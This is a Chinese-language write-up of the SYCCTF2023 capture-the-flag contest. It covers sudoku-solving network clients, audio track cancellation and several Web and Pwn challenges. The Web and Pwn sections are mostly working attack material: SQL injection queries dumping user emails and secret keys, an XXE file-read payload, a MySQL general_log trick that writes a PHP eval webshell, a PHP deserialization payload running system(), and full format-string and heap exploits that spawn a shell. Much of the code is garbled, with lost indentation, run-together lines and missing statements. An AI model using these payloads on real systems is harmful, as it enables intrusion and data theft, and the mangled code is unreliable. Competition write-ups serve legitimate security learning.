# 安洵杯SYCCTF2023 writeup

## 1.sudoku_easy

---------------------

800103720

023840650

410006008

300001062

000052407

072060090

160000375

205019846

000030000

---------------------

def parse_input(input_list):

board = []

for row in input_list:

nums = list(map(int, row))

board.append(nums)

return board

def format_output(board):

formatted = ""

for row in board:

formatted += "".join(map(str, row)) + "\n"

return formatted.strip()

def find_empty(board):

for row in range(9):

for col in range(9):

if board[row][col] == 0:

return row, col

return None

def is_valid(board, num, pos):

row, col = pos

for i in range(9):

if board[row][i] == num and col != i:

return False

if board[i][col] == num and row != i:

return False

box_row = row // 3

box_col = col // 3

for i in range(box_row * 3, box_row * 3 + 3):

for j in range(box_col * 3, box_col * 3 + 3):

if board[i][j] == num and (i, j) != pos:

return False

return True

def solve(board):

find = find_empty(board)

if not find:

return True

else:

row, col = find

for i in range(1, 10):

if is_valid(board, i, (row, col)):

board[row][col] = i

if solve(board):

return True

board[row][col] = 0

return False

def parse_input(input_list):

board = []

for row in input_list:

nums = list(map(int, row))

board.append(nums)

return board

def format_output(board):

formatted = ""

for row in board:

formatted += "".join(map(str, row)) + "\n"

return formatted.strip()

# input_string = '''---------------------

# 800103720

# 023840650

# 410006008

# 300001062

# 000052407

# 072060090

# 160000375

# 205019846

# 000030000

# ---------------------

# now give me you solve:'''

# lists=input_string.split('\n')[1:10]

# board = parse_input(lists)

# print(board)

# solve(board)

# print(board)

from pwn import *

# 创建连接

conn = remote('47.108.165.60',27539)

# 接收欢迎信息

for i in range(7):

print(msg)

# 发送选择

conn.sendline('1'.encode())

# 接收下一步提示

msg = conn.recvuntil("Please select the level:").strip().decode("utf-8")

print(msg)

conn.sendline('5'.encode())

msg = conn.recvuntil("clock start").strip().decode("utf-8")

print(msg)

time.sleep(5)

msg = conn.recvuntil("now give me you solve:").strip().decode("utf-8")

print(msg)

lists = msg.split('\n')[1:10]

board = parse_input(lists)

solve(board)

solved = format_output(board)

conn.sendline(solved.encode())

conn.interactive()

from pwn import *

def is_valid(board, row, col, num):
    # 检查行是否合法
    for i in range(9):
        if board[row][i] == num:
            return False

    # 检查列是否合法
    for i in range(9):
        if board[i][col] == num:
            return False

    # 检查小九宫格是否合法
    start_row = (row // 3) * 3
    start_col = (col // 3) * 3
    for i in range(3):
        for j in range(3):
            if board[start_row + i][start_col + j] == num:
                return False

    return True

def solve_sudoku(board):
    for row in range(9):
        for col in range(9):
            if board[row][col] == 0:
                for num in range(1, 10):
                    if is_valid(board, row, col, num):
                        board[row][col] = num
                        if solve_sudoku(board):
                            return True
                        board[row][col] = 0  # 回溯
                return False  # 所有数字都尝试过，没有找到合适的数字
    return True

def print_sudoku(board):
    a = ''
    for row in range(9):
        for col in range(9):
            a += str(board[row][col])
        a+='\n'
    return a.strip()

context.log_level = 'debug'

p = remote('47.108.165.60',23479)

p.recv()

for i in range(7):
    p.sendline('1')

    p.recvuntil('Please select the level:')

    p.sendline('5')

    a = '---------------------\nnow give me you solve:'
    content = p.recvuntil(a).decode().split(a)[0][-130:]

    sudoku = content.split('---------------------')[1]

    sudoku = sudoku.strip()
    sudoku = sudoku.split('\n')
    tmp = []
    for sudo in sudoku:
        a = [int(s) for s in sudo]
        tmp.append(a)

    if solve_sudoku(tmp):
        result = print_sudoku(tmp)
        log.info(result)
        for line in result.split('\n'):
            p.send(line)
    #content = p.recv().decode()
p.interactive()

单独的数独解密脚本：
class SudoKu():
    def __init__(self, sudo_ku_data):
        if not isinstance(sudo_ku_data, list):
            raise TypeError(f'sudo_ku_data params must a list, but {sudo_ku_data} is a {type(sudo_ku_data)}')

        if len(sudo_ku_data) != 9 or len(sudo_ku_data[0]) != 9:
            raise TypeError(
                f'sudo_ku_data params must a 9*9 list, but {sudo_ku_data} is a {len(sudo_ku_data)}*{len(sudo_ku_data[0])} list')

        self.sudo_ku = sudo_ku_data
        # 存放每一行已有的数据
        self.every_row_data = {}
        # 每一列已有的数字
        self.every_column_data = {}
        # 每一个3*3有的数字
        self.every_three_to_three_data = {}
        # 每一个空缺的位置
        self.vacant_position = []
        # 每一个空缺位置尝试了的数字
        self.every_vacant_position_tried_values = {}

        # 初始化数据
        self._init()

    def _add_row_data(self, row, value):
        '''
        初始化的时候
        添加数据到self.every_row_data中
        :param row:
        :param value:
        :return:
        '''
        if row not in self.every_row_data:
            self.every_row_data[row] = set()

        if value in self.every_row_data[row]:
            raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')

        self.every_row_data[row].add(value)

    def _add_column_data(self, column, value):
        '''
        初始化的时候
        添加数据到self.every_column_data中
        :param column:
        :param value:
        :return:
        '''
        if column not in self.every_column_data:
            self.every_column_data[column] = set()

        if value in self.every_column_data[column]:
            raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')

        self.every_column_data[column].add(value)

    def _get_three_to_three_key(self, row, column):
        '''
        得到每一个3*3的key
        :param row:
        :param column:
        :return:
        '''
        if row in [0, 1, 2]:
            if column in [0, 1, 2]:
                key = 1
            elif column in [3, 4, 5]:
                key = 2
            else:
                key = 3
        elif row in [3, 4, 5]:
            if column in [0, 1, 2]:
                key = 4
            elif column in [3, 4, 5]:
                key = 5
            else:
                key = 6
        else:
            if column in [0, 1, 2]:
                key = 7
            elif column in [3, 4, 5]:
                key = 8
            else:
                key = 9

        return key

    def _add_three_to_three_data(self, row, column, value):
        '''
        初始化的时候
        添加数据到self.every_three_to_three_data中
        :param row:
        :param column:
        :param value:
        :return:
        '''
        key = self._get_three_to_three_key(row, column)

        if key not in self.every_three_to_three_data:
            self.every_three_to_three_data[key] = set()

        self.every_three_to_three_data[key].add(value)

    def _init(self):
        '''
        根据传入的数独，初始化数据
        :return:
        '''
        for row, row_datas in enumerate(self.sudo_ku):
            for column, value in enumerate(row_datas):
                if value == '':
                    self.vacant_position.append((row, column))
                else:
                    self._add_row_data(row, value)
                    self._add_column_data(column, value)
                    self._add_three_to_three_data(row, column, value)

    def _judge_value_is_legal(self, row, column, value):
        '''
        判断方放置的数据是否合法
        :param row:
        :param column:
        :param value:
        :return:
        '''

        # value是否存在这一行数据中
        if value in self.every_row_data[row]:
            return False
        # value是否存在这一列数据中
        if value in self.every_column_data[column]:
            return False

        # value是否存在这个3*3的宫内
        key = self._get_three_to_three_key(row, column)
        if value in self.every_three_to_three_data[key]:
            return False

        return True

    def _calculate(self, vacant_position):
        '''
        计算，开始对数独进行放置值
        :param vacant_position:
        :return:
        '''
        # 得到当前位置
        row, column = vacant_position
        values = set(range(1, 10))

        # 对当前为位置创建一个唯一key,用来存放当前位置已经尝试了的数据
        key = str(row) + str(column)
        # 如果这个key存在，就对values进行取差集，因为两个都是集合（set），直接使用-就行了
        if key in self.every_vacant_position_tried_values:
            values = values - self.every_vacant_position_tried_values[key]
        # 如果这个key不存在，就创建一个空的集合
        else:
            self.every_vacant_position_tried_values[key] = set()

        for value in values:
            # 对当前数据添加到当前位置尝试过的的数据中
            self.every_vacant_position_tried_values[key].add(value)
            # 如果当前value合法，可以放置
            if self._judge_value_is_legal(row, column, value):
                # print(f'set {vacant_position} value is {value}')
                # 更新 判断数据合法时 需要使用到的数据
                self.every_column_data[column].add(value)
                self.every_row_data[row].add(value)
                key = self._get_three_to_three_key(row, column)
                self.every_three_to_three_data[key].add(value)

                # 修改这个位置的值为value
                self.sudo_ku[row][column] = value
                # 返回True 和填充的 value
                return True, value

        return False, None

    def _backtrack(self, current_vacant_position, previous_vacant_position, previous_value):
        '''
        回溯
        :param current_vacant_position: 当前尝试失败的位置
        :param previous_vacant_position: 上一次成功的位置
        :param previous_value:上一次成功的值
        :return:
        '''
        # print(f"run backtracking... value is {previous_value},vacant position is {previous_vacant_position}")
        row, column = previous_vacant_position
        # 对上一次成功的值从需要用到的判断的数据中移除
        self.every_column_data[column].remove(previous_value)
        self.every_row_data[row].remove(previous_value)

        key = self._get_three_to_three_key(row, column)
        self.every_three_to_three_data[key].remove(previous_value)

        # 并且上一次改变的的值变回去
        self.sudo_ku[row][column] = ''

        # 对当前尝试失败的位置已经城市失败的的值进行删除，因为回溯了，所以下一次进来需要重新判断值
        current_row, current_column = current_vacant_position
        key = str(current_row) + str(current_column)
        self.every_vacant_position_tried_values.pop(key)

    def get_result(self):
        '''
        得到计算之后的数独
        :return:
        '''
        # 空缺位置的长度
        length = len(self.vacant_position)
        # 空缺位置的下标
        index = 0

        # 存放已经尝试了的数据
        tried_values = []
        # 如果index小于length,说明还没有计算完
        while index < length:
            # 得到一个空缺位置
            vacant_position = self.vacant_position[index]

            # 计入计算函数，返回是否成功，如果成功，value为成功 的值，如果失败，value为None
            is_success, value = self._calculate(vacant_position)
            # 如果成功，将value放在tried_values列表里面，因为列表是有序的.
            # index+1 对下一个位置进行尝试
            if is_success:
                tried_values.append(value)
                index += 1
            # 失败，进行回溯,并且index-1，返回上一次的空缺位置,我们需要传入当前失败的位置 和 上一次成功的位置和值
            else:
                self._backtrack(vacant_position, self.vacant_position[index - 1], tried_values.pop())
                index -= 1

            # 如果index<0 了 说明这个数独是无效的
            if index < 0:
                raise ValueError(f'{self.sudo_ku} is a invalid sudo ku')

        # 打印计算之后的数独
        self.show_sudo_ku()
        return self.sudo_ku

    def show_sudo_ku(self):
        '''
        显示数独
        :return:
        '''
        for row in self.sudo_ku:
            for b in row:
                print(str(b), end="")
            print()
            # print(row)    # 原本

##################################################
#  用来判断最后计算的数独是否合法，和计算没有关系     #
##################################################

def judge_value_is_legal(row, column, value, sudo_ku):
    # column
    for i in range(0, 9):
        if row == i:
            continue
        if value == sudo_ku[i][column]:
            return False

    # row
    for i in range(0, 9):
        if column == i:
            continue
        if value == sudo_ku[row][i]:
            return False

    # three_to_three
    for i in range(row // 3 * 3, row // 3 * 3 + 3):
        for j in range(column // 3 * 3, column // 3 * 3 + 3):
            if i == row and j == column:
                continue
            if value == sudo_ku[i][j]:
                return False

    return True

def judge_sudo_ku_is_legal(sudo_ku):
    for row, row_values in enumerate(sudo_ku):
        for column, value in enumerate(row_values):
            if not judge_value_is_legal(row, column, value, sudo_ku):
                return False
    return True

if __name__ == '__main__':
    data = """450706200
200000048
000408060
085290006
602003950
700600830
500040680
900300100
821065073"""
    sudo1 = data.split('\n')
    sudo_ku_data = [list(s) for s in sudo1]
    for i in sudo_ku_data:
        for b in range(len(i)):
            if i[b] != '0':
                i[b] = int(i[b])
            else:
                i[b] = ''

    # 得到计算好的数独
    sudo_ku = SudoKu(sudo_ku_data).get_result()

    # 判断最后生成的数独是否是有效的
    # print(judge_sudo_ku_is_legal(sudo_ku))

jpg文件尾压缩包

## 3.sudoku_speedrun

kali :: ~ 127 » telnet 47.108.165.60 37569

Trying 47.108.165.60...

Connected to 47.108.165.60.

Escape character is '^]'.

Ubuntu 22.04.2 LTS

Welcome to Play Sudoku Game!

Play(1)

Exit(2)

> 1

Tips:

R to replay

Q to exit

WASD to move

You have 10000ms to solve it :)

easy(5)

normal(6)

hard(7)

>5

response=response.replace(b'\x1b[7;32m',b'').replace(b'\x1b[0m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[H\x1b[2J',b'')

def solve(input_string):
original_board = parse_input(input_string)# 创建原始数组的副本
board_copy = [row[:] for row in original_board]

solution = solve_sudoku(original_board)
# print(board_copy)
# print(solution)
lists=[]
for i in range(9):
for j in range(9):
if board_copy[i][j] == 0:
lists.append(str(solution[i][j]))
if j != 8:
lists.append('d')
lists.extend('saaaaaaaa')
# print(f"索引为 ({i}, {j}) 的位置，填入数字 {solution[i][j]}")
return lists

‘’’

-------------------------

| 4 3 0 | 0 0 6 | 2 0 0 |

| 8 0 0 | 0 7 0 | 0 0 3 |

| 2 0 7 | 0 5 0 | 1 4 6 |

-------------------------

| 0 0 0 | 0 0 0 | 0 7 5 |

| 7 5 0 | 8 0 0 | 6 2 0 |

| 0 2 9 | 7 3 5 | 0 1 0 |

-------------------------

| 5 6 0 | 4 0 3 | 0 9 0 |

| 0 0 2 | 5 0 0 | 8 0 0 |

| 3 0 1 | 0 8 2 | 0 6 4 |

-------------------------’’’

def parse_input(input_string):

rows = input_string.strip().split('\n')

board = []

for row in rows:

row = row.replace('-', '').replace('|', '').split()

nums = [int(num) if num != '0' else 0 for num in row]

if nums!=[]:

board.append(nums)

return board

import telnetlib

def solve_sudoku(board):

if is_complete(board):

return board

row, col = find_empty_cell(board)

for num in range(1, 10):

if is_valid(board, row, col, num):

board[row][col] = num

if solve_sudoku(board):

return board

board[row][col] = 0

return None

def is_complete(board):

for row in board:

if 0 in row:

return False

return True

def find_empty_cell(board):

for i in range(9):

for j in range(9):

if board[i][j] == 0:

return i, j

return None, None

def is_valid(board, row, col, num):

# Check row

if num in board[row]:

return False

# Check column

for i in range(9):

if board[i][col] == num:

return False

# Check 3x3 box

box_row = (row // 3) * 3

box_col = (col // 3) * 3

for i in range(box_row, box_row + 3):

for j in range(box_col, box_col + 3):

if board[i][j] == num:

return False

return True

def parse_input(input_string):

rows = input_string.strip().split('\n')

board = []

for row in rows:

row = row.replace('-', '').replace('|', '').split()

nums = [int(num) if num != '0' else 0 for num in row]

if nums!=[]:

board.append(nums)

return board

def solve(input_string):

original_board = parse_input(input_string)# 创建原始数组的副本

board_copy = [row[:] for row in original_board]

solution = solve_sudoku(original_board)

# print(board_copy)

# print(solution)

lists = []

for i in range(9):

for j in range(9):

if board_copy[i][j] == 0:

lists.append(str(solution[i][j]))

if j != 8:

lists.append('d')

lists.extend('saaaaaaaa')

# print(f"索引为 ({i}, {j}) 的位置，填入数字 {solution[i][j]}")

return lists

tn = telnetlib.Telnet('47.108.165.60',36697)

print(welcome_msg.decode("utf-8"))

# 发送返回值到服务器

tn.write("1".encode("utf-8") + b"\n")

print(msg.decode("utf-8"))

tn.write("5".encode("utf-8") + b"\n")

msg = ''

for i in range(15):

# print((response))

response = response.replace(b'\x1b[7;32m',b'').replace(b'\x1b[0m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[H\x1b[2J',b'')

msg += response.decode().strip('> 5')

tn.write(str(solve(msg)).encode("utf-8") + b"\n")

tn.interact()

def solve_sudoku(puzzle):
# 辅助函数：检查数字num是否可以放置在指定位置(row, col)
def is_valid(num, row, col):
# 检查行
for i in range(9):
if puzzle[row][i] == num:
return False

# 检查列
for i in range(9):
if puzzle[i][col] == num:
return False

# 检查3x3方格
start_row = (row // 3) * 3
start_col = (col // 3) * 3
for i in range(3):
for j in range(3):
if puzzle[start_row + i][start_col + j] == num:
return False

return True

# 辅助函数：回溯求解数独
def backtrack():
for row in range(9):
for col in range(9):
if puzzle[row][col] == 0:  # 找到一个空格
for num in range(1, 10):  # 尝试数字1-9
if is_valid(num, row, col):
puzzle[row][col] = num  # 填入数字
if backtrack():  # 递归求解
return True
puzzle[row][col] = 0  # 回溯，撤销选择
return False
return True

# 将输入的字符串转换成二维列表
puzzle = [[int(puzzle[i * 9 + j]) for j in range(9)] for i in range(9)]

# 调用回溯函数求解数独
if backtrack():
# 将二维列表转换回字符串
solution = ''.join(str(puzzle[i][j]) for i in range(9) for j in range(9))
return solution
else:
return "No solution found."

# # 输入数独题目
# puzzle_input = "002506008160080500000070601006030075325090164070620000207041800010807340850003019"
#
# # 解答数独题目
# solution = solve_sudoku(puzzle_input)
#
# # 输出结果
# print(solution)

from pwn import *
context.log_level="debug"
p = remote('47.108.165.60',32449)
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(b'7')
p.recv()
s = p.recv()
s = s.replace(b'\x1b[7;32m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[0m',b'').replace(b'\r\n',b'').replace(b'|',b'').replace(b' ',b'').replace(b'-',b'').replace(b'\x1b[H\x1b[2J',b'').decode()
# print(s)
solution = solve_sudoku(s)
# print(solution)
flag = ''
for i in range(9):
for j in range(9):
if(s[i*9+j] != '0'):
flag += 'd'
else:
flag += solution[i*9+j]
flag += 'd'
flag = flag[:-1]
flag += 'saaaaaaaa'
print(flag)
flag = flag.encode()
p.sendline(flag)
r = p.recvall(100000)
print(r.decode())
print(s)
print(solution)

## 4.cancellation

mkvextract.exe提取出来两个音频（轨道是从0开始的，mkvtool里的轨道编号从1开始的）

import librosa

import soundfile as sf

import numpy as np

result =  2*audio1-audio2

sf.write('result.wav', result, sr1)

from scipy.io import wavfile
import numpy as np

# 加载两个音频文件

# 确保两个音频的采样率相同，如果不同，进行重新采样
if rate1 != rate2:
# 重新采样audio2为与audio1相同的采样率
audio2 = np.interp(np.linspace(0, len(audio2), len(audio1)), np.arange(len(audio2)), audio2).astype(audio1.dtype)

# 确保两个音频的长度相同，如果不同，进行裁剪或填充
length = min(len(audio1), len(audio2))
audio1 = audio1[:length]
audio2 = audio2[:length]

# 音频相减
result = audio1 - audio2//2

# 保存为新的音频文件
wavfile.write('output_diff.wav', rate1, result)

## 1.go题目

categories这里随便加一个

stmt := "select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%" + query + "%' or content like '%" + query + "%') order by created_date desc"

select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%1') union select 1,email,3,4,5,username from user -- %' or content like '%1') union select 1,email,3,4,5,username from user -- %') order by created_date desc

1') union select 1,url,3,4,secretId ,secretKey from secret -- +

## 2.CarelessPy

<?xml version="1.0" ?><!DOCTYPE message [
<!ENTITY shell SYSTEM "file:///flag">
]>
<result><ctf>杂鱼~</ctf><web>
&shell;
</web></result>
#SYCTF{COrReCt_AN5w3r_fa0efe410508}

### 3.Confronting robot

payload:sqlmap -u "http://x.x.x.x:34918/?myname=aaa" -D robot_data -T name --columns --dump

SYCTF{RObOt_r0B07_3599ec7eac28}

SHOW VARIABLES LIKE '%general%';
set global general_log = "ON";
set global general_log_file='/var/www/html/sEcR@t_n@Bodyknow.php';
select "<?php eval($_POST['pass']);?>"; 然后直接select记录一次马即可shell 蚁剑连接game.php得到flag ## 4.4号的罗纳尔多 一个反序列化，两个关键点要绕，第一个可以通过 php 内置类 splstack 绕过匹配 O 开头的序列化数据；第二个可以通过__halt_compiler();来结束 php 代码执行流程，绕过givemegirlfriend!字符串的影响。 <?php class evil{ public$cmd;
public $a; }$evilClass = new evil();
$evilClass->cmd = 'system(next(getallheaders()));__halt_compiler();';$a = new SplStack();
$a -> push($evilClass);
echo serialize($a); ## 三、Pwn ### 1.harde_pwn 第一步：溢出seed为固定值，这样的话就变成了伪随机。 第二步：用格式化字符串漏洞泄露libc和程序基地址。 第三步：用格式化字符串漏洞打heap_fmt函数运行时候rbp下面的返回地址为onegadgets。 第四步：用格式化字符串漏洞打heap_fmt函数中read函数的返回地址为leave ret。 第五步：get shell。 POC: from pwn import * p = process('./pwn') elf = ELF('./pwn') libc = ELF('./libc.so.6') context(os='linux',arch='amd64',log_level='debug') def duan(): gdb.attach(p) pause() rand = [1804289348,846930915,1681692750,1714636888,1957747830,424238300,719885423,1649760457,596516622,1189641450,1025202335,1350490000,783368663,1102520032,2044897736,1967513955,1365180505,1540383463,304089201,1303455709,35005248] p.recvuntil('game!\n') payload = b'a'*(0x20-0x4)+p32(0) p.send(payload) for i in range(21): p.sendlineafter('input: \n',str(rand[i])) p.recvuntil('Success!\n') p.recvuntil('ata ;)\n') payload = 'aaaa%3$pbbbb%15$p' p.send(payload) p.recvuntil('aaaa') libc_base = int(p.recv(14),16)-1132946 p.recvuntil('bbbb') stack = int(p.recv(14),16) print('stack-->'+hex(stack)) print('libc_base-->'+hex(libc_base)) temp = stack-320+0x20 temp = str(hex(temp)[-4:]) print('temp-->'+temp) payload = '%'+str(int(temp,16))+'c%15$hnaaaaaaaa\x00'
p.recvuntil('aaaaaaaa')

og = [0xebcf1,0xebcf5,0xebcf8]
shell = libc_base+og[1]

payload = '%'+str(int(hex(shell)[-4:],16))+'c%45$hnabccba' p.send(payload) p.recvuntil('abccba') payload = '%'+str(int(temp,16)+2)+'c%15$hnaaaaaaaa\x00'
p.recvuntil('aaaaaaaa')

payload = '%'+str(int(hex(shell)[-8:-4],16))+'c%45$hnabccba' p.send(payload) p.recvuntil('abccba') payload = '%'+str(int(temp,16)+4)+'c%15$hnaaaaaaaa\x00'
p.recvuntil('aaaaaaaa')

payload = '%'+str(int(hex(shell)[-12:-8],16))+'c%45$hnabccba' p.send(payload) p.recvuntil('abccba') payload = 'aaaa%13$p\x00'
p.recvuntil('aaaa')

pie = int(p.recv(14),16)-0x1502

print('pie-->'+hex(pie))
print('shell-->'+hex(shell))

gongji = pie+0x1366

temp = stack-320+0x20-0x20
temp = str(hex(temp)[-4:])

payload = '%'+str(int(temp,16))+'c%15$hnaaaaaaaa\x00' p.send(payload) p.recvuntil('aaaaaaaa') payload = '%'+str(int(hex(gongji)[-4:],16))+'c%45$hnabccba'
p.recvuntil('abccba')

p.interactive()

#coding:utf-8

import sys

from pwn import *

from ctypes import CDLL

context.log_level='debug'

elfelf='./harde_pwn'

#context.arch='amd64'

while True :

# try :

elf=ELF(elfelf)

context.arch=elf.arch

gdb_text='''

b printf

'''

if len(sys.argv)==1 :

clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

io=process(elfelf)

gdb_open=1

clibc.srand(0)

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

# ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

else :

clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

io=remote('47.108.165.60',47183)

gdb_open=0

clibc.srand(0)

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

# ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

def gdb_attach(io,a):

if gdb_open==1 :

gdb.attach(io,a)

io.recvuntil('elcome to a ctype game!\n')

io.send('\x00'*0x20)

for i in range(21):

io.recvuntil(': \n')

io.sendline(str((clibc.rand() ^ 0x24) + 1))

io.recv()

io.send('%31$p') io.recvuntil('0x') libc_base=int(io.recv(12),16)-libc.sym['__libc_start_main']-128 libc.address=libc_base bin_sh_addr=libc.search('/bin/sh\x00').next() system_addr=libc.sym['system'] free_hook_addr=libc.sym['__free_hook'] pop_rax_ret=libc.search(asm('pop rax;ret')).next() pop_rdi_ret=libc.search(asm('pop rdi;ret')).next() pop_rsi_ret=libc.search(asm('pop rsi;ret')).next() pop_rdx_ret=libc.search(asm('pop rdx;ret')).next() syscall_ret=libc.search(asm('syscall;ret')).next() io.send('%15$p\x00')

io.recvuntil('0x')

stack=int(io.recv(12),16)-0x38-0xe8

io.recv()

pay='%'+str(stack&0xffff)+'c%15$hn' io.send(pay+'\x00') def go(a): io.sendafter('input your data ;)\n',a+'\x00') def fmt(addr,value): pay='%'+str(addr&0xffff)+'c%15$hn'

go(pay)

off_1=(value)&0xff

if value==0:

go('%45$hhn') else: go('%'+str(off_1)+'c%45$hhn')

for i in range(5):

pay='%'+str((addr+1+i)&0xff)+'c%15$hhn' go(pay) off_1=(value>>((i+1)*8))&0xff if value==0: go('%45$hhn')

else:

go('%'+str(off_1)+'c%45$hhn') fmt(stack,pop_rdi_ret) fmt(stack+0x8,bin_sh_addr) fmt(stack+0x10,pop_rsi_ret) fmt(stack+0x18,0) fmt(stack+0x20,pop_rsi_ret+1) fmt(stack+0x28,system_addr) pay='%'+str((stack-0x20)&0xffff)+'c%15$hn'

go(pay)

gdb_attach(io,gdb_text)

go('%'+str(0xae)+'c%45$hhn') success('libc_base:'+hex(libc_base)) success('stack:'+hex(stack)) # success('heap_base:'+hex(heap_base)) io.interactive() # except Exception as e: # io.close() # continue # else: # continue ## 4.pwnpwn ### 代码审计 main() sub_C60() 该函数利用4个rand()%10,让我们猜4个数字 add() off by null漏洞 ### 思路 利用time(0)是获取当前时间，我们可以利用这点对rand()的进行碰撞，有概率成功；然后利用off_by_null，实现堆重叠，然后劫持free_hook改为system，释放含有“/bin/sh\x00”便可以getshell ### exp： from pwn import*from ctypes import *context(arch='i386', os='linux',log_level="debug")context.terminal=["wt.exe","wsl.exe"]libc = ELF("./libc-2.31.so")# libc = ELF("./libc-so.6")libc_run = cdll.LoadLibrary('./libc-so.6')"""""def xxx(): p.sendlineafter("") p.sendlineafter("") p.sendlineafter("")"""def get_p(name): global p,elf # p = process(name) p = remote("47.108.165.60",30770) elf = ELF(name)def add(idx,size,content): p.sendlineafter("root@$",'1')    p.sendlineafter("give me your index:",str(idx))    p.sendlineafter("give me your size:",str(size))    p.sendafter("give me your content:",content)def edit(idx,content):    p.sendlineafter("root@$",'3') p.sendlineafter("give me your index",str(idx)) p.sendlineafter("give me your index",str(idx)) p.sendafter("give me your content:",content) def dele(idx): p.sendlineafter("root@$",'4')    p.sendlineafter("give me your index:",str(idx))def show(idx):    p.sendlineafter("root@$",'2') p.sendlineafter("give me your index:",str(idx))def login(name,passwd): p.sendlineafter("root@$",'5')    p.sendafter("please input your username",name)    p.sendafter("please input your passwd",passwd)# p.recvuntil("menu")# libc_run.srand(libc_run.time(0))# num = (libc_run.rand()%10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)  libc_run.srand(libc_run.time(0)+10)num = (libc_run.rand()%10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)  def pwn(num):    p.sendlineafter("please input your number:",str(num))    p.recvline()    if not p.recvuntil("you win",timeout=0.1):        exit(0)    login("AAAAA","AA")    add(0,0x440,"AAA")    add(1,0x88,"AAA")    add(2,0x440,"AAAA")    add(3,0x60,"AAA")    dele(0)    dele(2)    add(0,0x450,"AAAA")    add(2,0x440,"AAAAAAAA")    add(4,0x440,"AAAAAAAA")    edit(4,"\x70"*9)    login("AAAAA","A"*100)    show(4)    libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 1008 - 0x10 - libc.sym['__malloc_hook']    free_hook = libc.sym['__free_hook']    print(hex(libc.address))    login("AAAAA\x00","AAA\x00")    edit(4,"A"*0xf+"+")    login("AAAAA","A"*100)    show(4)    p.recvuntil("+")    heap_addr = u64(p.recv(6).ljust(8,b"\x00")) - 0x290    print(hex(heap_addr))    login("AAAAA\x00","AAA\x00")    ptr = heap_addr + 0xc60 - 0x20    target = heap_addr + 0x10c0 - 0x20    edit(0,p64(target))    # for i in range(5):    #     dele(i)    # add(7,0x80,"AAA")    # add(8,0x70,"AAAA")    # add(9,0x3f0,"AAAA")    add(5,0x220,p64(0)+p64(0x441)+p64(ptr-0x18)+p64(ptr-0x10))    add(6,0x218,"AAA")    add(7,0x4f0,"AAAA")    dele(6)    add(6,0x218,b"A"*0x210+p64(0x440))    dele(7)    add(7,0x210,"AAAA")    add(8,0x60,"AAAAA")    dele(3)    dele(6)    login("AAAAA\x00","AAA\x00")    edit(8,p64(free_hook))    add(6,0x60,"/bin/sh\x00")    add(3,0x60,p64(libc.sym['system']))    dele(6)# gdb.attach(p,"")while True:    try:        get_p("./pwnpwn")        pwn(num)        p.interactive()    except:        p.close()# get_p("./pwnpwn")# pwn()# p.interactive()

或者脚本：
from pwn import *
from struct import pack
from ctypes import *
import hashlib
context(os='linux', arch='amd64', log_level='debug')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

p = remote('47.108.165.60', 26364)
elf = ELF("./pwnpwn")

libc = ELF('./libc-2.31.so')

my_libc= cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = my_libc.srand(my_libc.time(0))
num_4 = my_libc.rand() % 10
num_3 = my_libc.rand() % 10
num_2 = my_libc.rand() % 10
num_1 = my_libc.rand() % 10
num = num_4*1000 + num_3*100 + num_2*10 + num_1
sla("please input your number:",str(num))

menu = 'root@$\n' def add(index, size, content = b'a'):  sla(menu, '1')  sla('give me your index:\n', str(index))  sla('give me your size:\n', str(size))  sa('give me your content:\n', content) def show(index):  sla(menu, '2')  sla('give me your index:\n', str(index)) def edit(index, content):  sla(menu, '3')  sla('give me your index\n', str(index))  sla('give me your index\n', str(index))  sa('give me your content:\n', content) def delete(index):  sla(menu, '4')  sla('give me your index:\n', str(index)) def login(user, passwd):  sla(menu, '5')  sla(b'username\n', user)  sla(b'passwd\n', passwd)   login(b'1', b'1')   add(0,0x418, b"A"*0x100)  add(1,0x108) #1 barrier add(2,0x438, b"B0"*0x100)  add(3,0x438, b"C0"*0x100)  add(4,0x108,b'4'*0x100)  add(5, 0x488, b"H"*0x100)  add(6,0x428, b"D"*0x100) add(7,0x108)   delete(0) delete(3)  delete(6)    delete(2)   add(2, 0x458, b'a' * 0x438 + p64(0x551)[:-2])    add(3,0x418)  add(6,0x428)  add(0,0x418,b"0"*0x100)    delete(0) delete(3)  add(0, 0x418, b'a' * 8)  add(3, 0x418)    delete(3)  delete(6)  add(6,0x500-8, b'6'*0x488 + p64(0x431))  add(3, 0x3b0) delete(4) add(4, 0x108, 0x100*b'4' + p64(0x550)) delete(6) add(6,0x438) login(b'2133', b'2131221')  show(4) libc_base = get_addr() - 0x1ecbe0 login(b'a'*8, b'\x01'*0x106) delete(6)  add(6, 0x458, 0x438*b'6'+p64(0x111))  delete(7)  delete(4)    delete(6) add(6, 0x458, 0x438*b'6'+p64(0x111)+p64(libc_base+libc.sym['__free_hook']))   add(7,0x108,b'/bin/sh\x00') add(4,0x108) edit(4, p64(libc_base+libc.sym['system'])) delete(7)   inter() 